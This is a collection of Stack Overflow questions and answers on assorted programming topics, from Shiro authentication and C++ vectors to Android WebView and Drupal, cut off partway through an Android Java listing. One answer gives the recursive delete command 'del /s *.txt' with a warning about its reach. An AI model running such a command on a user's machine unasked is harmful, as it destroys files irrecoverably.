10569331	0	 <p>Pinax is just django with a blend of other django plugins. You have to enable them and set them up individually. To use each individual app within pinax, you have to read that specific app's documentation and set it up appropriately (list of apps and repos which likely contain documentation here: <a href="http://pinaxproject.com/ecosystem/" rel="nofollow">http://pinaxproject.com/ecosystem/</a>)</p> <p>Some people like pinax but I find that its more of a hassel than a solution. In the end pinax doesn't work out of the box. You have to customize everything, but at the same time you position yourself into using a bundle you dont need. I suggest instead starting a project and installing the packages you need individually, and even finding more here: <a href="http://djangopackages.com/" rel="nofollow">http://djangopackages.com/</a>. Especially, if its a big project because then if you bundle/setup everything on your own you will know the ins and outs of it all. </p>
17440525	0	Using JDBCRealm to authenticate user with Shiro <p>I am trying to authenticate a servlet running within Tomcat 6 using Shiro.</p> <p>I have the following shiro.ini file:</p> <pre><code>[main] ps = org.apache.shiro.authc.credential.DefaultPasswordService pm = org.apache.shiro.authc.credential.PasswordMatcher pm.passwordService = $ps aa = org.apache.shiro.authc.credential.AllowAllCredentialsMatcher sm = org.apache.shiro.authc.credential.SimpleCredentialsMatcher jof = org.apache.shiro.jndi.JndiObjectFactory jof.resourceName = jdbc/UserDB jof.requiredType = javax.sql.DataSource jof.resourceRef = true realm = org.apache.shiro.realm.jdbc.JdbcRealm realm.permissionsLookupEnabled = true realm.credentialsMatcher = $pm ; Note factories are automatically invoked via getInstance(), ; see org.apache.shiro.authc.config.ReflectionBuilder::resolveReference realm.dataSource = $jof securityManager.realms = $realm [urls] /rest/** = authcBasic /prot/** = authcBasic </code></pre> <p>And the following in my database:</p> <pre><code>mysql&gt; select * from users; +----------+------------------+----------+----------------------------------------------+--------------------------+ | username | email | verified | password | password_salt | +----------+------------------+----------+----------------------------------------------+--------------------------+ | admin | a.muys@********* | 1 | ojSiTecNwRF0MunGRvz3DRSgP7sMF9EAR77Ol/2IAY8= | eHp9XedrIUa5sECfOb+KOA== | +----------+------------------+----------+----------------------------------------------+--------------------------+ 1 row in set (0.00 sec) </code></pre> <p>If I use the <code>SimpleCredentialsManager</code> it authenticates fine against a plaintext password in the users table. Trying to use the <code>PasswordMatcher</code> has been extremely frustrating.</p> <p>The password and password_salt were obtained via the shiro-tools <code>Hasher</code> utility.</p> <p>When I try to authenticate against a basic <code>HelloWorld</code> servlet I use for testing (path=rest/hello, context=/ws), I get the following in the logs:</p> <pre><code>15:35:38.667 [http-8080-2] TRACE org.apache.shiro.util.ClassUtils - Unable to load clazz named [ojSiTecNwRF0MunGRvz3DRSgP7sMF9EAR77Ol/2IAY8=] from class loader [WebappClassLoader context: /ws delegate: false repositories: /WEB-INF/classes/ ----------&gt; Parent Classloader: org.apache.catalina.loader.StandardClassLoader@79ddd026 ] </code></pre> <p>(Full log at <a href="https://gist.github.com/recurse/5915693">https://gist.github.com/recurse/5915693</a> )</p> <p>It appears to be trying to load my hashed password as a classname. Is this a bug, or a configuration error on my part? If it is a bug, how can I work around it? If it is a configuration error, what am I missing?</p>
6364718	0	 <p>You can try <a href="https://developer.mozilla.org/en/HTML/Element/base" rel="nofollow">using the <code>&lt;base&gt;</code> tag</a>. This will set your Base URL to whatever you need:</p> <pre><code>&lt;base href="http://yourdomain.com/"&gt; &lt;script src="js/remotescript.js"&gt;&lt;/script&gt; </code></pre> <p>Note this means now your <em>local</em> scripts need to be in absolute form:</p> <pre><code>&lt;script src="http://localhost/js/phonegap.js"&gt;&lt;/script&gt; </code></pre> <p>See <a href="http://stackoverflow.com/q/6111684/207894">this other question for more info</a> regarding this note. The guy there suggests to prepend a <em>dot</em> (<code>.</code>) before the <em>local relative URL</em>, though I <strong>didn't test this</strong>:</p> <pre><code>&lt;script src="./js/phonegap.js"&gt;&lt;/script&gt; </code></pre>
11191445	0	 <p>First off, try to set an action on your form tag. The action defines the page, to which the form will be submitted.</p> <pre><code>&lt;form method="post" action="Test.php"&gt; </code></pre> <p>With this the form should get submitted to Test.php. If it still doesn't do anything, try to print a variable dump (<a href="http://php.net/manual/de/function.var-dump.php" rel="nofollow">manual</a>) with <code>var_dump($POST);</code> on top of the page. You will then see all set values of the post attributes. From there on it should be easy to find the error.</p> <p><strong>EDIT</strong></p> <p>After your comment I realized that you are trying to send the form with AJAX and just reload the content div. You have to do this in two steps. First, send the data of the form to Test.php, and then reload the content div. If stumbled upon this question: <a href="http://stackoverflow.com/questions/1960240/jquery-ajax-submit-form">jQuery AJAX submit form</a>. This may help you how to submit your form. If you want to use a return value, you can try something like this:</p> <pre><code>$.post("Test.php", $("#form").serialize(), function(data) { alert("Returned data: " + data); }); </code></pre> <p>See <a href="http://api.jquery.com/jQuery.post/" rel="nofollow">jQuery.post()</a></p>
5772578	0	 <p><em>Me</em>: Could you provide a little more information about the IFoo service implementation? Does it have all of its own dependencies satisfied?</p> <p><em>Myself</em>: Hmm, no it doesn't. Turns out I didn't bind its dependencies. Boy, is that error message and stack trace misleading!</p> <hr> <p>So my mistake was that I didn't bind one of the dependencies of the IFoo implementation and so Ninject failed silently and tried to continue on its merry way. Which is really unfortunate because it could lead to some really strange behavior once I deviate from a trivial setup. I guess my next question should be how can I get Ninject to fail as early as possible and provide good messaging about what's wrong? But for now I can at least get on with it.</p>
25868562	0	FTP difference between STOR and PUT command <p>We use FTP for dropping the product feeds to our FTP server. I wanted to understand the difference between the STOR and PUT command in FTP. Can you please help me understand this?</p>
37739347	0	 <p>U just need to check that action name is constant everywhere...i also had same problem i resolved by removing namespace as it is not necessary which i see u have not mentioned and also i had different action name at loginpage.jsp and struts.xml page.. so just see ur action name </p>
28376955	0	 <p>To answer your questions:</p> <ul> <li>Is X an array when it's passed in?</li> </ul> <p>Yes. It is a <code>DOUBLE PRECISION</code> array having one dimension with the extent <code>NGamma</code>.</p> <ul> <li>Is the X that is declared in the 3rd line different than the parameter X?</li> </ul> <p>First, a word of terminology: In Fortran, X is a dummy argument (that gets associated with the actual argument of the caller). In Fortran, a <code>PARAMETER</code> is quite a different beast: <code>PARAMETER</code>s are named constants in Fortran.</p> <p>So yes, the X that is a dummy argument is the same as in the <code>DIMENSION</code> statement. It gets its type from the <code>IMPLICIT DOUBLE PRECISION</code> statement.</p> <p>Modern ideomatic Fortran would have the declaration as something like</p> <pre><code> DOUBLE PRECISION, DIMENSION(NGamma), INTENT(IN) :: X </code></pre> <p>which would make clear to the reader that this is an array dummy argument which is not permitted to be changed by the function.</p> <p>The <code>GAMMA</code> is declared as an array of the same shape as <code>X</code>. This used to be invalid FORTRAN 77 (but accepted as an extension by many compilers), but is perfectly fine for Fortran 90 or later.</p>
19602690	0	 <p>here is the deal.. the <code>onItemSelected</code> method is still called when the Spinner has just been created without you selecting any option. A simple workaround for this is to add an extra option in spinner liek "Select" or "None" and have a <code>if-else</code> construct in <code>onItemSelected</code> method just like this:- </p> <pre><code>@Override public void onItemSelected(AdapterView parent, View view, int pos, long id) { if(pos==0) { //do something; } else { Toast.makeText(parent.getContext(), parent.getItemAtPosition(pos).toString(), Toast.LENGTH_SHORT).show(); } } </code></pre>
20576121	0	 C++Builder is a rapid application development (RAD) environment, originally developed by Borland and as of 2009 owned by Embarcadero Technologies, for writing programs in the C++ programming language targeting Windows and OS X.
32282560	0	 <p>Here's how to handle this using <code>jQuery</code>:</p> <pre><code>$('#lightswitch').on('click', function() { $('nav').css('background-color', 'green'); }); </code></pre> <p>Best</p>
25179131	0	Multiple terms in a facet <p>I'm currently facing a Lucene facet problem.</p> <p>My document looks like:</p> <pre><code>doc1: - title: lorem - facetField: east west doc2: - title: ipsum - facetField: north doc3: - title: dolor - facetField: south doc4: - title: sit - facetField: north west </code></pre> <p>I would like to use facets to narrow down my search results for documents which only contain the text <code>west</code>.</p> <p>As far as I know, the <code>new CategoryPath("categoryFacet", "west")</code> wouldn't find any documents because it does not exactly match a document. Is there a possibility to use something like <em>contains term</em> in facets?</p>
10830563	0	Stop the Music in WebView when Screen Time-Out <p>I am programming that allow users can listen music in WebView via the URL web link. But I wonder why when the android phone user screen Time-Out my music in WebView also stop. Do you have any solution to solve this problem?</p> <h1>Here is my code:</h1> <pre><code>public class PlayMusicActivity extends Activity { WebView mWebView; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.playlist); mWebView = (WebView) findViewById(R.id.webView1); mWebView.setWebViewClient(new HelloWebViewClient()); mWebView.getSettings().setJavaScriptEnabled(true); mWebView.getSettings().setPluginsEnabled(true); mWebView.getSettings().setAllowFileAccess(true); mWebView.loadUrl("http://www.myweb.com/music.html"); } private class HelloWebViewClient extends WebViewClient { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } } @Override public boolean onKeyDown(int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) &amp;&amp; mWebView.canGoBack()) { mWebView.goBack(); return true; } return super.onKeyDown(keyCode, event); } @Override public void onPause() { mWebView.setVisibility(View.GONE); mWebView.destroy(); super.onPause(); } } </code></pre> <p>Appreciate for your help.</p> <p>Best regards, Virak</p>
1945777	0	C++ Array vs vector <p>when using C++ vector, time spent is 718 milliseconds, while when I use Array, time is almost 0 milliseconds.</p> <p>Why so much performance difference?</p> <pre><code>int _tmain(int argc, _TCHAR* argv[]) { const int size = 10000; clock_t start, end; start = clock(); vector&lt;int&gt; v(size*size); for(int i = 0; i &lt; size; i++) { for(int j = 0; j &lt; size; j++) { v[i*size+j] = 1; } } end = clock(); cout&lt;&lt; (end - start) &lt;&lt;" milliseconds."&lt;&lt;endl; // 718 milliseconds int f = 0; start = clock(); int arr[size*size]; for(int i = 0; i &lt; size; i++) { for(int j = 0; j &lt; size; j++) { arr[i*size+j] = 1; } } end = clock(); cout&lt;&lt; ( end - start) &lt;&lt;" milliseconds."&lt;&lt;endl; // 0 milliseconds return 0; } </code></pre>
12131897	0	 <p>use <code>remove_if</code> found under <code>algorithm</code></p> <p>Given a begin and end iterator along with a predicate, you can remove any element that results in the predicate evaluating to true. I'll include both C++03 and C++11 examples.</p> <p>C++03:</p> <pre><code>#include &lt;algorithm&gt; #include &lt;iostream&gt; #include &lt;iterator&gt; #include &lt;vector&gt; #include &lt;cstdlib&gt; #include &lt;ctime&gt; template &lt;typename T&gt; struct is_equal { T val; is_equal (const T&amp; v) : val (v) { } bool operator() (const T&amp; test) { return (val == test); } }; struct is_odd { bool operator() (int test) { return (test % 2 == 1); } }; template &lt;typename T&gt; std::ostream&amp; operator&lt;&lt; (std::ostream&amp; os, const std::vector &lt;T&gt;&amp; v) { typedef typename std::vector &lt;T&gt;::const_iterator itr; for (itr i = v.begin (); i != v.end (); ++i) os &lt;&lt; *i &lt;&lt; " "; return os; } int main (int argc, char* argv[]) { srand (time (NULL)); std::vector &lt;int&gt; vec (10); // vector has size of 10 std::generate (vec.begin (), vec.end (), rand); // populate with random numbers std::cout &lt;&lt; vec &lt;&lt; std::endl; vec.erase (std::remove_if (vec.begin (), vec.end (), is_odd ()), // removes all odd elements vec.end ()); std::cout &lt;&lt; vec &lt;&lt; std::endl; return 0; } </code></pre> <p>C++11:</p> <pre><code>#include &lt;algorithm&gt; #include &lt;iostream&gt; #include &lt;iterator&gt; #include &lt;numeric&gt; #include &lt;vector&gt; #include &lt;cstdlib&gt; template&lt;typename T&gt; std::ostream&amp; operator&lt;&lt; (std::ostream&amp; os, const std::vector &lt;T&gt;&amp; v) { for (auto i : v) os &lt;&lt; i &lt;&lt; " "; return os; } int main(int argc, char* argv[]) { std::vector &lt;int&gt; vec(10); // vector has size of 10 std::iota (vec.begin(), vec.end(), 1); // populate with [1, 2, 3, ...] std::cout &lt;&lt; vec &lt;&lt; std::endl; vec.erase (std::remove_if (vec.begin(), vec.end(), [](int i){ return (i == 3); }), vec.end ()); std::cout &lt;&lt; vec &lt;&lt; std::endl; return 0; } </code></pre> <p>For any questions on using the STL, I personally consult <a href="http://en.cppreference.com/w/" rel="nofollow">http://en.cppreference.com/w/</a> and <a href="http://www.cplusplus.com/reference/" rel="nofollow">http://www.cplusplus.com/reference/</a></p>
7794956	0	Make browser to load silverlight page/xap even when server is offline <p>Is it possible to force browser to reload a Silverlight application - basically .aspx and .xap files - even if the server goes down? I.e. not accessible to the browser. Like setting caching forever. I tried different cache-control and expires headers but it doesn't seem to make a difference, it's still either 200 or 304 requests.</p> <p>In other words, I want browser to load .xap once and then never send requests for it again, always loading from cache - never means not even 304s.</p> <p>In even other words, is it possible to make browsers, once they got page and related content, to use them from cache and not contact server at all?</p>
20152512	0	 <p>s1) Yes, you can set certain properties as being indexed. Some property types do not allow indexing at all. It's preferable to set the indexes programmatically within each model definition.</p> <p>2) Although you can drop the index programmatically (i.e. remove indexed=True), I would not recommend it. It will leave your data store in inconsistent state.</p> <p>3) It's not possible to set index on a structured property, however, you can set a Key relationship between your model and the models in the structured property.</p> <p>See: </p> <ul> <li><p><a href="https://developers.google.com/appengine/docs/python/ndb/entities" rel="nofollow">https://developers.google.com/appengine/docs/python/ndb/entities</a></p></li> <li><p><a href="https://developers.google.com/appengine/docs/python/ndb/properties" rel="nofollow">https://developers.google.com/appengine/docs/python/ndb/properties</a> </p></li> </ul> <blockquote> <p>"You can specify the usual property options for structured properties (except indexed)."</p> </blockquote>
33945163	0	 <p>You could use the version of the <code>Task</code> <a href="https://msdn.microsoft.com/en-us/library/dd783035%28v=vs.110%29.aspx" rel="nofollow">constructor</a> that takes an <code>Action&lt;Object&gt;</code> parameter so you can pass the required input arguments, including the cancellation token, to the method executed by the task.</p> <p>Example:</p> <pre><code>ref class Test { public: void Loop() { auto tokenSource = gcnew CancellationTokenSource(); auto token = tokenSource-&gt;Token; int i = 0, max = 100; while (i &lt; max) { auto tuple = gcnew tuple_t(i, token); auto newtask = gcnew Task(gcnew Action&lt;Object^&gt;(this, &amp;Test::DoSomething), tuple, token); newtask-&gt;Start(); i++; } } void DoSomething(Object^ state) { auto tuple = static_cast&lt;tuple_t^&gt;(state); int data = tuple-&gt;Item1; CancellationToken token = tuple-&gt;Item2; // ... } private: typedef Tuple&lt;int, CancellationToken&gt; tuple_t; }; </code></pre>
13801620	0	 <p><code>del /s *.txt</code> will delete all TXT files in all subfolders of current working directory.</p> <p>(But use that command carefully - wrong parent directory and you are throwing away all textfiles on your computer :) )</p>
19205353	0	 <p>I'm not certain about the solution, but here's something to test: Try adding the attribute 'controls' to the video tag, e.g.:</p> <pre><code>&lt;video id="video_background" preload="auto" controls autoplay loop muted volume="0"&gt; </code></pre> <p>Where I'm going with this is that the 'autoplay' video tag attribute is not always honored by all browsers (it could be annoying, intrusive, and bandwidth-intensive). By asking for controls, you will be able to mouse over the blank video area and press a play button. This will verify whether IE9 and Safari are at least able to play the video.</p>
525567	0	 <p>I've worked on a Drupal project with about 1 million nodes. We added transactional support and it wasn't too hard. You'll need to patch the core of course but this shouldn't be a major concern for an enterprise application with good support and documentation. I was working as the observing pair programmer on the transactional support. I think it took us about a day.</p> <p>Edit:</p> <p>I've been working as a Drupal Developer for a few years now. And recently, I have revised my position on Drupal in relation to best practices and enterprise application. </p> <p>I don't think Drupal is particularly suited to the Enterprise space because:</p> <ul> <li>Drupal's testing framework is too cumbersome (a domain specific language would be great)</li> <li>There are too many contributed modules of poor quality </li> <li>Drupal's content model resides partly in code and partly in the database schema </li> <li>Drupal's developer community have become focused on sexy software rather than quality software</li> <li>Drupal doesn't have mature developer tools (drush is changing that) or a development environment built in.</li> <li>Drupal Development is browser and UI centric.</li> <li>The centralized nature of Drupal.org/projects, CVS and Drupal's policy on Contrib Projects inhibits the evolution of individual software projects </li> </ul> <p>Also: The enterprise Drupal Application I was once working on has now been ported into Rails. </p>
16734729	0	 <p>Absolutely. For example, MySQL does not have hash and merge joins. Certain query patterns will suffer greatly there.</p> <p>The notion that the RDBMS used does not matter is strange to me. Different databases have very non-uniform performance characteristics. Performance very much varies with workload.</p> <p>If you want to exclude the RDBMS as much as possible from your tests you have to carefully make sure that you are not testing any RDBMS-specific performance features by accident. This is very hard.</p>
22654623	0	 <p>Use the Neo4jPHP driver from Josh Adell, there are also sample projects listet on </p> <p><a href="http://neo4j.org/develop/php" rel="nofollow">http://neo4j.org/develop/php</a></p> <p>I think there are no built-in ways to access the shell from Neo4jPHP but if you can use its http facilities, you can do something <a href="http://jexp.de/blog/2014/02/on-using-neo4j-shell-with-basic-auth-over-http-on-a-remote-server/" rel="nofollow">like I did here</a>.</p>
1807946	0	 <p>Utterly, utterly impossible. You won't even be able to open a TCP connection because the other website's server will try to handshake with the client, and fail.</p> <p>An IP address isn't just any old ID, it's the actually <em>address</em> that servers will send any response to. Spoofing it basically only makes sense if you can fit your request into a single IP packet (which rules out TCP and thus HTTP) and are not interested in the response. Even then it can fail because your ISP's routers may have anti-spoofing rules that drop packets with "outside" IP addresses originating from "inside" networks.</p>
20204669	0	 <p>Use the chunk option <code>fig.show='hold'</code>.</p>
12557907	0	Flex Mobile TabbedView Applicatin Hide tabbar in states <p>I am building a tabbed view mobile application in Flash Builder 4.6 and want to have a login screen into it. </p> <p>I have 5 tabs, and on the first view page I have 2 states. </p> <p>1 state for a login, and another state for the actual tab itself. I could make these but would like to hide the tabbar when it is in the login state. </p> <p>I have found some things where you can turn it off by clicking on buttons, but how about just turning it of in the first view page (login state). </p> <p>I tried this : </p> <pre><code>&lt;s:View xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:s="library://ns.adobe.com/flex/spark" textAlign="center" title="Daily Settings" creationComplete="view2_creationCompleteHandler(event)"&gt; ... protected function view2_creationCompleteHandler(event:FlexEvent):void { // TODO Auto-generated method stub this.tabBarVisible = false; } </code></pre> <p>but strangely it will only dissapear on certain moments and not the whole time... </p>
30885030	0	 <p><strong>This avoid's unnecessary assignments of values and variable declarations</strong> </p> <p>1) Focus(param1,param2)</p> <pre><code>function Focus(Locatie,Bonregel) { if (Locatie.value == "" &amp;&amp; Bonregel.value == ""){ Locatie.focus(); } else if (Locatie.value == "") { Locatie.focus } else if (Bonregel.value == "") { Bonregel.focus(); } } </code></pre> <p>2) Send(param1,param2,param3)</p> <pre><code>function Send(keycode, locatie, bonregel) { //Assign value directly document.getElementById("form_keycode").value = keycode; document.getElementById("form_locatie").value=locatie; document.getElementById("form_bonregel").value=bonregel; //submit data from myform document.myform.submit(); } </code></pre> <p>3) Check()</p> <pre><code>function Check() { // check alle data vooor verzenden // Keycode 13 -&gt; ENTER // Keycode 125 -&gt; Green key on device if (event.keyCode == 125) { Send(125, document.getElementById("locatie").value, document.getElementById("bonregel").value); } else if (event.keyCode == 13) { delay(Send(13,document.getElementById("locatie").value,document.getElementById("bonregel").value), "Send", 500); } else { Focus(document.getElementById("locatie"),document.getElementById("bonregel")); } } </code></pre>
4161824	0	 <p>I don't know much about Ocracoke, but why don't you look into Visual Studio?</p>
39482190	0	 <p>My technique for this is to write a shell script that does the job, and then run it via <code>find</code>. For example, your actions could be written into a script <code>munger.sh</code>:</p> <pre><code>#!/bin/sh for file in "$@" do output="output_dir/$(basename "$file")" sed -e 's:foo:bar:g' "$file" &gt; "$output" done </code></pre> <p>The <code>find</code> command becomes:</p> <pre><code>find input_dir -name "PATTERN" -exec sh munger.sh {} + </code></pre> <p>This runs the script with the file names as arguments, bundling conveniently large number of file names into a single invocation of the shell script. If you're not going to need it again, you can simply remove <code>munger.sh</code> when you're done.</p> <p>Yes, you can do all sorts of contortions to execute the command the way you want (perhaps using <code>find … -exec bash -c "the script to be executed" arg0 {} +</code>) but it is often harder than writing a relatively simple script and using it and throwing it away. There tend to be fewer problems with quoting, for example, when you run an explicit script than when you try to write the script on the command line. If you find yourself fighting with single quotes, double quotes and backslashes (or back-quotes), then it is time to use a simple script as shown.</p>
22268305	0	 <p>If your project can manage it, it could be better to <a href="http://www.javascriptkit.com/javatutors/dom2.shtml" rel="nofollow">create DOM Elements and append them to the tree</a>. </p> <p>The big problem with efficiency would be that setting <code>.innerHTML</code> property would first remove all the nodes and only then parse the html and append it to the DOM. </p> <p>It's obvious that you should avoid removing and the re-appending identical elements, so if you're sure the <code>"Example"</code> elements would always remain on the page, your way of setting them seems to be a nice optimazation.</p> <p>If you want to optimize it even further, you could parse the html you want to append to nodes and have a function that checks which ones should be appended and which one shouldn't. But be aware that accessing the DOM is costly. Read more about the <a href="http://www.phpied.com/dom-access-optimization/" rel="nofollow">ECMA-DOM bridge</a>.</p> <p><strong>Edit:</strong> In some cases it might be better to let the browser do the html parsing and injecting through <code>innerHTML</code>. It depends on the amount of HTML you're inserting and the amount you're deleting. See <em>@Nelson Menezes</em>'s comments about innerHTML vs. append.</p>
39281776	0	 <blockquote> <p>Issue 1: Accessing web GUI of dockerized Spring Cloud Dataflow</p> </blockquote> <p>We might need little more details around this. Assuming this is the local-server, perhaps you could share the docker scripts/image, so we could try it out.</p> <blockquote> <p>Issue 2: Routing by JSON Header</p> </blockquote> <p>The <a href="https://github.com/spring-cloud/spring-cloud-stream-app-starters/tree/master/router/spring-cloud-starter-stream-sink-router" rel="nofollow"><code>router-sink</code></a> application would come handy for this type of use-cases. This application routes the payload to named destinations based on certain conditions, so you'd have the opportunity to route the payload with respective <code>ingest-query</code> to Cassandra. </p> <p>stream 1:</p> <pre><code>stream create test --definition "file | router --expression=header.contains('a')?':foo':':bar’" </code></pre> <p>stream 2:</p> <pre><code>stream create baz --definition ":foo &gt; cassandra --ingest-query=\"query1\"" </code></pre> <p>stream 3:</p> <pre><code>stream create wiz --definition ":bar &gt; cassandra --ingest-query=\"query2\"" </code></pre> <p>(<em>where: <code>foo</code> and <code>bar</code> are named destinations</em>)</p>
26559529	0	 <pre><code>&lt;video id="video" controls preload="metadata"&gt; &lt;source src="video/sintel-short.mp4" type="video/mp4"&gt; &lt;source src="video/sintel-short.webm" type="video/webm"&gt; &lt;track label="English" kind="captions" srclang="en" src="captions/vtt/sintel-en.vtt" default&gt; &lt;track label="Deutsch" kind="captions" srclang="de" src="captions/vtt/sintel-de.vtt"&gt; &lt;track label="Español" kind="captions" srclang="es" src="captions/vtt/sintel-es.vtt"&gt; &lt;/video&gt; </code></pre>
19620613	0	 <p>Such error can not be generated by Protector. It probably means that you assign your entity with <code>accept_nested_attributes</code> and it is exactly the instance of UrlType that invalidates, not the assignment of <code>url_type_id</code>.</p>
1549527	0	 <pre><code>dups = {} newlist = [] for x in biglist: if x['link'] not in dups: newlist.append(x) dups[x['link']] = None print newlist </code></pre> <p>produces</p> <pre><code>[{'link': 'u2.com', 'title': 'U2 Band'}, {'link': 'abc.com', 'title': 'ABC Station'}] </code></pre> <p>Note that here I used a dictionary. This makes the test <code>not in dups</code> much more efficient than using a list.</p>
2772434	0	 <p>The first thing that comes to my mind is: cellpadding/cellspacing. Try setting each to 0.</p>
15604707	0	 <p>Adapting basic algorithms like this from Flash to Canvas is actually not that difficult. If you need a canvas framework that's close to the AS3/Flash you can take a look at EaselJS: <a href="http://createjs.com/#!/EaselJS" rel="nofollow">http://createjs.com/#!/EaselJS</a></p> <p>Here's an article on Hexagon Tiles: <a href="http://www.emanueleferonato.com/2008/04/16/understanding-hexagonal-tiles/" rel="nofollow">http://www.emanueleferonato.com/2008/04/16/understanding-hexagonal-tiles/</a></p>
25109460	0	Export strings to email body <p>I have searched and I only found a similar question that was unanswered. I have a final report made of answers that have been input throughout the app. Now I've reached the end and I want to, basically, export the report to the email body.</p> <pre><code>package com.toc.maintenancereport; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.net.Uri; import android.os.Bundle; import android.preference.PreferenceManager; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.TextView; public class Report extends Activity { Button sendmail; TextView elec1out, elec2out, elec3out, gasout, waterout, item1out, item2out, item3out, item4out, item5out, item6out, glsout, golfout, candlesout, gu10out, mr16out, g4capsout, fridgeout, cookhoodout, lamp1out, lamp2out, lamp3out, postout, cleanout, ironout, hairdryerout, hooverout, binsout, roofout, garageout, spaceout, outsideout, orderout, siliconeout, handlesout, furnitureout, wallsout, curtainsout, drawsout, itemsout, showerout, holesout, leaksout, tapsout, toiletsout, radout, thermoout, heatingout, wtanksout, hwaterout, boilerout, ovenout, clocksout, bulbsout, name, kettleout, tvout, fblanket, phoneout, fdoor, salarm, fescape, windowsout, consumerout, callout, internetout, issuesout; String reportemail, elec1, elec2, elec3, gas, water, stockitem1, stockitem2, stockitem3, stockitem4, stockitem5, stockitem6, priceitem1, priceitem2, priceitem3, priceitem4, priceitem5, priceitem6, item1, item2, item3, item4, item5, item6, gls, golf, candles, gu10, mr16, g4caps, fridge, cookhood, lamp1, lamp2, lamp3, lamp1price, lamp2price, lamp3price, post, clean, iron, hairdryer, hoover, bins, roof, garage, space, outside, order, silicone, handles, furniture, walls, curtains, draws, items, shower, holes, leaks, taps, toilets, rad, thermo, heating, wtanks, hwater, boiler, oven, clocks, name2, internet, phone, kettle, tv, windows, consumer, firedoor, smokealarm, fireescape, fireblanket, property, date2, dateend, bulbs, issues = ""; String callt1 = ""; String callt2 = ""; String callt3 = ""; String callt4 = ""; String callt5 = ""; String callt6 = ""; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.report); SharedPreferences dados = PreferenceManager .getDefaultSharedPreferences(getApplicationContext()); name = (TextView) findViewById(R.id.namereport); fblanket = (TextView) findViewById(R.id.whyfireblanket); fescape = (TextView) findViewById(R.id.whyfireescape); salarm = (TextView) findViewById(R.id.whysmokealarme); fdoor = (TextView) findViewById(R.id.whyfiredoor); callout = (TextView) findViewById(R.id.callouttv); consumerout = (TextView) findViewById(R.id.consumertv); windowsout = (TextView) findViewById(R.id.windowstv); tvout = (TextView) findViewById(R.id.tvtv); kettleout = (TextView) findViewById(R.id.kettletv); phoneout = (TextView) findViewById(R.id.phonetv); internetout = (TextView) findViewById(R.id.internettv); bulbsout = (TextView) findViewById(R.id.bulbstv); clocksout = (TextView) findViewById(R.id.clockstv); ovenout = (TextView) findViewById(R.id.oventv); boilerout = (TextView) findViewById(R.id.boilertv); hwaterout = (TextView) findViewById(R.id.hwatertv); wtanksout = (TextView) findViewById(R.id.wtankstv); heatingout = (TextView) findViewById(R.id.heatingtv); thermoout = (TextView) findViewById(R.id.thermotv); radout = (TextView) findViewById(R.id.radtv); toiletsout = (TextView) findViewById(R.id.toiletstv); tapsout = (TextView) findViewById(R.id.tapstv); leaksout = (TextView) findViewById(R.id.leakstv); holesout = (TextView) findViewById(R.id.holestv); showerout = (TextView) findViewById(R.id.showertv); itemsout = (TextView) findViewById(R.id.itemstv); drawsout = (TextView) findViewById(R.id.drawstv); curtainsout = (TextView) findViewById(R.id.curtainstv); wallsout = (TextView) findViewById(R.id.wallstv); furnitureout = (TextView) findViewById(R.id.furnituretv); handlesout = (TextView) findViewById(R.id.handlestv); siliconeout = (TextView) findViewById(R.id.siliconetv); orderout = (TextView) findViewById(R.id.ordertv); outsideout = (TextView) findViewById(R.id.outsidetv); spaceout = (TextView) findViewById(R.id.spacetv); garageout = (TextView) findViewById(R.id.garagetv); roofout = (TextView) findViewById(R.id.rooftv); binsout = (TextView) findViewById(R.id.binstv); hooverout = (TextView) findViewById(R.id.hoovertv); hairdryerout = (TextView) findViewById(R.id.hairdryertv); ironout = (TextView) findViewById(R.id.irontv); cleanout = (TextView) findViewById(R.id.cleantv); postout = (TextView) findViewById(R.id.posttv); glsout = (TextView) findViewById(R.id.glstv); golfout = (TextView) findViewById(R.id.golftv); candlesout = (TextView) findViewById(R.id.candlestv); gu10out = (TextView) findViewById(R.id.gu10tv); mr16out = (TextView) findViewById(R.id.mr16tv); g4capsout = (TextView) findViewById(R.id.g4capstv); fridgeout = (TextView) findViewById(R.id.fridgetv); cookhoodout = (TextView) findViewById(R.id.choodtv); lamp1out = (TextView) findViewById(R.id.lamp1tv); lamp2out = (TextView) findViewById(R.id.lamp2tv); lamp3out = (TextView) findViewById(R.id.lamp3tv); item1out = (TextView) findViewById(R.id.item1tv); item2out = (TextView) findViewById(R.id.item2tv); item3out = (TextView) findViewById(R.id.item3tv); item4out = (TextView) findViewById(R.id.item4tv); item5out = (TextView) findViewById(R.id.item5tv); item6out = (TextView) findViewById(R.id.item6tv); elec1out = (TextView) findViewById(R.id.meterelec1tv); elec2out = (TextView) findViewById(R.id.meterelec2tv); elec3out = (TextView) findViewById(R.id.meterelec3tv); gasout = (TextView) findViewById(R.id.metergastv); waterout = (TextView) findViewById(R.id.meterwatertv); issuesout = (TextView) findViewById(R.id.issuestv); sendmail=(Button)findViewById(R.id.bdonereport); name2 = dados.getString("Nome", "Nome"); date2 = dados.getString("Date", "dd/MMM/yyyy"); dateend = dados.getString("enddate", "dd/MMM/yyyy"); property = dados.getString("Property", "Property"); callt1 = dados.getString("Job1", ""); callt2 = dados.getString("Job2", ""); callt3 = dados.getString("Job3", ""); callt4 = dados.getString("Job4", ""); callt5 = dados.getString("Job5", ""); callt6 = dados.getString("Job6", ""); name.setText("Name: " + name2 + ". " + "\nTime started: " + date2 + "\nTime ended: " + dateend + "\nProperty: " + property); fireblanket = dados.getString("Whyfireblanket", "Not Checked"); fblanket.setText("*Fire Blanket: " + fireblanket); fireescape = dados.getString("Whyfireescape", "Not Checked"); fescape.setText("*Fire Escape Intructions on Front door and all escape routes clear: " + fireescape); smokealarm = dados.getString("Whysmokealarm", "Not Checked"); salarm.setText("*Smoke alarms are tested and left in working order: " + smokealarm); firedoor = dados.getString("Whyfiredoor", "Not Checked"); fdoor.setText("*Fire doors are closing properly and are not blocked: " + firedoor); consumer = dados.getString("Whyconsumer", "Not Checked"); consumerout .setText("*The consumer unit is OK and everything is working: " + consumer); windows = dados.getString("Whywindows", "Not Checked"); windowsout .setText("*Are the windows opening correctly and in good condition? Are keys in place: " + windows); tv = dados.getString("Whytv", "Not Checked"); tvout.setText("*Are the TV,DVD player and remotes all working: " + tv); kettle = 